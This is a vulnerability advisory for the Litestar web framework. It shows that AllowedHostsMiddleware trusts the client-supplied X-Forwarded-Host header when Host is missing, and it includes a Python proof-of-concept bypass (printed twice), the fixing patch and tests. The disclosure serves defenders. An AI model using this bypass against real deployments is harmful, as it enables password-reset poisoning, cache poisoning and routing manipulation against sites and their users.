Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header
Description
Summary
AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.
Details
In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:
https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68
headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
if self.allowed_hosts_regex.fullmatch(host):
await self.app(scope, receive, send)
return
When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.
An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.
This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (Host header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions
PoC
"""
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0
Affected:
litestar/middleware/allowed_hosts.py:68
-> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""
import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient
@get("/")
async def index() -> dict:
return {"status": "ok"}
app = Litestar(
route_handlers=[index],
allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)
# --- 1. Baseline: invalid host is blocked ---
with TestClient(app=app) as c:
resp = c.get("/", headers={"host": "evil.com"})
assert resp.status_code == 400
print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")
# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---
async def test_bypass():
scope = {
"type": "http",
"method": "GET",
"path": "/",
"root_path": "",
"scheme": "http",
"query_string": b"",
"headers": [
# No "host" header — only x-forwarded-host
(b"x-forwarded-host", b"trusted.example.com"),
],
"server": ("testserver", 80),
"app": app,
"litestar_app": app,
"state": {},
}
captured = {}
async def receive():
return {"type": "http.request", "body": b""}
async def send(message):
if message["type"] == "http.response.start":
captured["status"] = message["status"]
await app(scope, receive, send)
return captured["status"]
status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")
Output: `` [*] Host: evil.com -> 400 (blocked) [*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed) [!] AllowedHosts check passed using client-controlled X-Forwarded-Host ``
Impact
This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.
An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:
- Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
- Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
- Routing manipulation: backend routing decisions based on host value can be influenced
Affected products
1Patches
16930a20ceb54fix: ignore x-allowed-hosts
2 files changed · +19 −10
litestar/middleware/allowed_hosts.py+1 −1 modified@@ -64,7 +64,7 @@ async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: return headers = MutableScopeHeaders(scope=scope) - if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]: + if host := headers.get("host").split(":")[0]: if self.allowed_hosts_regex.fullmatch(host): await self.app(scope, receive, send) return
tests/unit/test_middleware/test_allowed_hosts_middleware.py+18 −9 modified@@ -66,25 +66,34 @@ def test_allowed_hosts_middleware_redirect_regex() -> None: @pytest.mark.parametrize( - "base_url,expected_status_code", + "base_url,forwarded_host,expected_status_code", [ - ("http://x.example.com", HTTP_200_OK), - ("http://x.y.example.com", HTTP_200_OK), - ("http://moishe.zuchmir.com", HTTP_200_OK), - ("http://moisheAzuchmir.com", HTTP_400_BAD_REQUEST), - ("http://x.moishe.zuchmir.com", HTTP_400_BAD_REQUEST), - ("http://x.example.x.com", HTTP_400_BAD_REQUEST), + ("http://x.example.com", None, HTTP_200_OK), + ("http://x.y.example.com", None, HTTP_200_OK), + ("http://moishe.zuchmir.com", None, HTTP_200_OK), + ("http://moisheAzuchmir.com", None, HTTP_400_BAD_REQUEST), + ("http://x.moishe.zuchmir.com", None, HTTP_400_BAD_REQUEST), + (None, "x.example.com", HTTP_400_BAD_REQUEST), ], ) -def test_middleware_allowed_hosts(base_url: str, expected_status_code: int) -> None: +def test_middleware_allowed_hosts( + base_url: str | None, + forwarded_host: str | None, + expected_status_code: int, +) -> None: @get("/") def handler() -> dict: return {"hello": "world"} config = AllowedHostsConfig(allowed_hosts=["*.example.com", "moishe.zuchmir.com"]) with create_test_client(handler, allowed_hosts=config) as client: - client.base_url = base_url # type: ignore[assignment] + if base_url: + client.base_url = base_url # type: ignore[assignment] + if not base_url: + client.headers["host"] = "" + if forwarded_host: + client.headers["x-forwarded-host"] = forwarded_host response = client.get("/") assert response.status_code == expected_status_code
Vulnerability mechanics
Root cause
"The AllowedHostsMiddleware incorrectly trusts the X-Forwarded-Host header when the Host header is absent."
Attack vector
An attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain [ref_id=1]. This is possible when the application is deployed without a reverse proxy that strips `X-Forwarded-Host` or when accepting HTTP/1.0 connections [ref_id=2]. The middleware falls back to `X-Forwarded-Host` without verifying if the request passed through a trusted proxy [ref_id=1].
Affected code
The vulnerability exists in the `AllowedHostsMiddleware.__call__` method within the `litestar/middleware/allowed_hosts.py` file. Specifically, the line `if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:` is responsible for resolving the host value used for validation [ref_id=1]. The patch modifies this logic in `litestar/middleware/allowed_hosts.py` [patch_id=5505540].
What the fix does
The patch modifies the `AllowedHostsMiddleware.__call__` method to no longer use the `X-Forwarded-Host` header as a fallback when the `Host` header is absent [patch_id=5505540]. The code now strictly relies on the `Host` header for validation, removing the insecure fallback mechanism that allowed the bypass [patch_id=5505540]. This prevents attackers from injecting a malicious host via the `X-Forwarded-Host` header.
Preconditions
- configThe application must be configured with `AllowedHostsConfig`.
- networkThe application must be deployed without a reverse proxy that strips the `X-Forwarded-Host` header, or it must accept HTTP/1.0 connections.
Reproduction
```python import asyncio from litestar import Litestar, get from litestar.config.allowed_hosts import AllowedHostsConfig from litestar.testing import TestClient
@get("/") async def index() -> dict: return {"status": "ok"}
app = Litestar( route_handlers=[index], allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]), )
# --- 1. Baseline: invalid host is blocked ---
with TestClient(app=app) as c: resp = c.get("/", headers={"host": "evil.com"}) assert resp.status_code == 400 print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")
# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---
async def test_bypass(): scope = { "type": "http", "method": "GET", "path": "/", "root_path": "", "scheme": "http", "query_string": b"", "headers": [ # No "host" header — only x-forwarded-host (b"x-forwarded-host", b"trusted.example.com"), ], "server": ("testserver", 80), "app": app, "litestar_app": app, "state": {}, }
captured = {}
async def receive(): return {"type": "http.request", "body": b""}
async def send(message): if message["type"] == "http.response.start": captured["status"] = message["status"]
await app(scope, receive, send) return captured["status"]
status = asyncio.run(test_bypass()) print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)") assert status == 200, f"Expected 200, got {status}" print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host") ```
Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.